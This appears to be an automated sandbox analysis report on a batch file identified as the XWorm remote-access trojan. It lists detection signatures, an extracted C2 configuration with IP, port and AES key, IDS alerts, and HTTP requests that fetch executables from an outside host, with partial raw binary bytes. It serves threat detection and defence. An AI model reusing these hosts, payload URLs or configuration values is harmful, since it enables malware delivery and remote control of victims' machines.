Windows Analysis Report
cmd.bat

Overview

General Information

Sample name: cmd.bat
Analysis ID: 1614040
MD5: 957573ddfda3541786563944a469e68a
SHA1: fbb29b3822485be0a8779c0d34d2f5a709fb8101
SHA256: af15c7bf24642b09248d296a5156ce0f30659befb5ee4a8639c984d945784bab
Tags: 147-45-44-42batbookinguser-JAMESWT_MHT
Infos:

Detection

XWorm
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains very large strings
.NET source code references suspicious native API functions
C2 URLs / IPs found in malware configuration
Compiles code for process injection (via .Net compiler)
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Dot net compiler compiles file from suspicious location
Suspicious powershell command line found
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.dll Avira: detection malicious, Label: HEUR/AGEN.1300034
Found malware configuration
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Xworm {"C2 url": ["92.255.85.66"], "Port": 7000, "Aes key": "P0WER", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Sample uses string decryption to hide its real strings
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp String decryptor: 92.255.85.66
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp String decryptor: 7000
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp String decryptor: P0WER
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp String decryptor: <Xwormmm>
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp String decryptor: XWorm V5.6
Source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp String decryptor: USB.exe
Source: Binary string: \??\C:\Windows\mscorlib.pdb|>. source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Drawing.pdb|*Yw source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Configuration.pdb` source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb% source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.pdbhP source: powershell.exe, 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: Microsoft.VisualBasic.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Core.ni.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb< source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: o.pdb!_ source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.ni.pdbRSDSw source: WERC99F.tmp.dmp.12.dr
Source: Binary string: mscorlib.pdb246122658-3693405117-2476756634-1003_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.pdbPr source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\exe\MSBuild.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\mscorlib.pdbpdblib.pdb_ source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb9\ source: MSBuild.exe, 00000006.00000002.3946033087.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Configuration.ni.pdbRSDScUN source: WERC99F.tmp.dmp.12.dr
Source: Binary string: o0C:\Windows\mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbH source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\exe\MSBuild.pdb4^ source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Windows.Forms.pdbL source: WERC99F.tmp.dmp.12.dr
Source: Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbF4 source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdbi source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: symbols\dll\mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.pdb source: powershell.exe, 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb` source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Configuration.ni.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: C:\Windows\MSBuild.pdbpdbild.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdbRSDS source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Configuration.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Xml.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: %%.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.Windows.Forms.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\MSBuild.pdb,>~ source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3958041751.0000000004FEB000.00000004.00000010.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.3961672556.0000000006247000.00000004.00000020.00020000.00000000.sdmp, WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Core.pdby source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Management.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Drawing.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Core.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: System.Management.pdbH source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\exe\MSBuild.pdbW source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.PDB" source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.ni.pdb source: WERC99F.tmp.dmp.12.dr
Source: Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.ni.pdbRSDS source: WERC99F.tmp.dmp.12.dr

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2858800 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.3:49717 -> 92.255.85.66:7000
Source: Network traffic Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 92.255.85.66:7000 -> 192.168.2.3:49717
Source: Network traffic Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.3:49717 -> 92.255.85.66:7000
Source: Network traffic Suricata IDS: 2858801 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound : 92.255.85.66:7000 -> 192.168.2.3:49717
Source: Network traffic Suricata IDS: 2858799 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.3:49717 -> 92.255.85.66:7000
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 92.255.85.66
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.3:49717 -> 92.255.85.66:7000
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Feb 2025 07:17:38 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 30 Jan 2025 13:33:00 GMTETag: "8a00-62cec76f71b75"Accept-Ranges: bytesContent-Length: 35328Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 14 53 24 c6 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 26 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 9e 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 b8 9e 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2c 7f 00 00 00 20 00 00 00 80 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 a0 00 00 00 06 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 9f 00 00 00 00 00 00 48 00 00 00 02 00 05 00 a4 21 00 00 14 7d 00 00 03 00 02 00 05 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 5c 00 00 00 01 00 00 11 02 28 0f 00 00 0a 0a 28 10 00 00 0a 03 6f 11 00 00 0a 0b 06 8e 69 8d 16 00 00 01 0c 16 0d 2b 2a 08 09 06 09 91 09 1f 3b 5a 20 00 01 00 00 5d d2 61 d2 9c 08 09 8f 16 00 00 01 25 47 07 09 07 8e 69 5d 91 61 d2 52 09 17 58 0d 09 06 8e 69 32 d0 28 10 00 00 0a 08 6f 12 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 13 30 07 00 9e 00 00 00 02 00 00 11 72 01 00 00 70 0a 73 14 00 00 0a 73 15 00 00 0a 0b 07 6f 16 00 00 0a 72 2e 73 00 70 7e 01 00 00 04 28 01 00 00 06 6f 17 00 00 0a 26 07 6f 16 00 00 0a 72 50 73 00 70 7e 01 00 00 04 28 01 00 00 06 6f 17 00 00 0a 26 07 17 6f 18 00 00 0a 07 17 8d 19 00 00 01 25 16 06 7e 01 00 00 04 28 01 00 00 06 a2 6f 19 00 00 0a 6f 1a 00 00 0a 72 7a 73 00 70 7e 01 00 00 04 28 01 00 00 06 6f 1b 00 00 0a 72 94 73 00 70 7e 01 00 00 04 28 01 00 00 06 6f 1c 00 00 0a 14 14 6f 1d 00 00 0a 26 2a 1e 02 28 13 00 00 0a 2a 1a 28 03 00 00 06 2a 1e 02 28 13 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 13 Feb 2025 07:17:39 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 30 Jan 2025 13:30:26 GMTETag: "cc00-62cec6dcb27f6"Accept-Ranges: bytesContent-Length: 52224Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 25 ed 8f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 c2 00 00 00 08 00 00 00 00 00 00 3e e0 00 00 00 20 00 00 00 00 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 df 00 00 4b 00 00 00 00 00 01 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 c0 00 00 00 20 00 00 00 c2 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ce 04 00 00 00 00 01 00 00 06 00 00 00 c4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 01 00 00 02 00 00 00 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 e0 00 00 00 00 00 00 48 00 00 00 02 00 05 00 80 52 00 00 70 8d 00 00 01 00 00 00 26 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 18 00 00 0a 2a 1a 72 01 00 00 70 2a 1a 20 c6 28 54 04 2a 1e 02 28 19 00 00 0a 2a 1a 72 6d 00 00 70 2a 1a 20 8d 98 98 04 2a a6 73 1a 00 00 0a 80 01 00 00 04 73 1b 00 00 0a 80 02 00 00 04 73 1c 00 00 0a 80 03 00 00 04 73 1d 00 00 0a 80 04 00 00 04 2a 1a 72 1a 01 00 70 2a 1a 20 74 96 f2 05 2a 1a 72 c7 01 00 70 2a 1a 20 eb 8c 16 01 2a 1a 72 74 02 00 70 2a 1a 20 ff 7f 9e 00 2a 1a 72 21 03 00 70 2a 1a 20 e1 e7 65 05 2a 1a 72 ce 03 00 70 2a 1a 20 9a 03 22 04 2a 1e 02 28 28 00 00 0a 2a 1a 72 c9 05 00 70 2a 1a 72 76 06 00 70 2a 1a 20 fd 19 87 01 2a 26 28 b1 00 00 06 26 2b 00 2a ee 2b 35 73 33 00 00 0a 20 b8 0b 00 00 20 10 27 00 00 6f 34 00 00 0a 28 2a 00 00 0a 7e 0f 00 00 04 2d 0a 28 41 00 00 06 28 33 00 00 06 7e 15 00 00 04 6f 35 00 00 0a 26 17 2d c8 2a 1a 72 23 07 00 70 2a 1a 72 b4 07 00 70 2a 1a 20 07 9a ab 01 2a 1a 72 45 08 00 70 2a 1a 20 7e bf 48 02 2a 1a 72 d6 08 00 70 2a 1a 20 19 0f 57 01 2a c6 16 80 0f 00 00 04 14 80 10 00 00 04 16 6a 80 11 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /boom/rcvjtk.exe HTTP/1.1fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y: VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4Host: 147.45.44.42Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /boom/plvhvs.exe HTTP/1.1fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y: VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4Host: 147.45.44.42
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 147.45.44.42 147.45.44.42
Source: Joe Sandbox View IP Address: 92.255.85.66 92.255.85.66
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View ASN Name: SOVTEL-ASRU SOVTEL-ASRU
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.43
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.155
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.155
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.43
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: unknown TCP traffic detected without corresponding DNS query: 147.45.44.42
Source: global traffic HTTP traffic detected: GET /boom/rcvjtk.exe HTTP/1.1fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y: VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4Host: 147.45.44.42Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /boom/plvhvs.exe HTTP/1.1fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y: VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4Host: 147.45.44.42
Source: powershell.exe, 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A681631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A6816BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42
Source: powershell.exe, 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1999650969.000002A6F7550000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000004.00000003.1964461482.0000022862950000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000004.00000003.1964519692.0000022862941000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000004.00000003.1965783455.00000228642EB000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000004.00000003.1964646244.0000022862941000.00000004.00000020.00020000.00000000.sdmp, zxf44tui.0.cs.3.dr, zxf44tui.dll.4.dr String found in binary or memory: http://147.45.44.42/boom/plvhvs.exe
Source: MSBuild.exe, 00000006.00000002.3946033087.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.3945411932.0000000000570000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.3945726817.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.3959336181.0000000005670000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exe
Source: powershell.exe, 00000003.00000002.1996462671.000002A6F52F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exeU
Source: MSBuild.exe, 00000006.00000002.3946033087.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exeUSERDOMAIN=user-PCUSERD-
Source: powershell.exe, 00000003.00000002.1997857230.000002A6F54F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exeUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=H
Source: MSBuild.exe, 00000006.00000002.3959336181.0000000005670000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exeUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=har
Source: MSBuild.exe, 00000006.00000002.3946033087.0000000000C28000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exen
Source: csc.exe, 00000004.00000003.1966197084.00000228628DC000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000004.00000003.1966272211.00000228628DC000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000004.00000002.1966593779.00000228628DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exeu
Source: cvtres.exe, 00000005.00000002.1964320327.0000029FD1250000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000005.00000002.1964350213.0000029FD12A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exeuserdomain=user-PCuserdomain_roamingprofile=user-PCusername=har
Source: cvtres.exe, 00000005.00000002.1964350213.0000029FD12A9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exew
Source: powershell.exe, 00000003.00000002.1998734433.000002A6F71F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.42/boom/rcvjtk.exez
Source: csc.exe, 00000004.00000003.1966197084.00000228628DC000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000004.00000003.1966272211.00000228628DC000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000004.00000002.1966593779.00000228628DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.4x
Source: powershell.exe, 00000003.00000002.1992732666.000002A6901BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1992732666.000002A69007F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1971913526.000002A681A0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
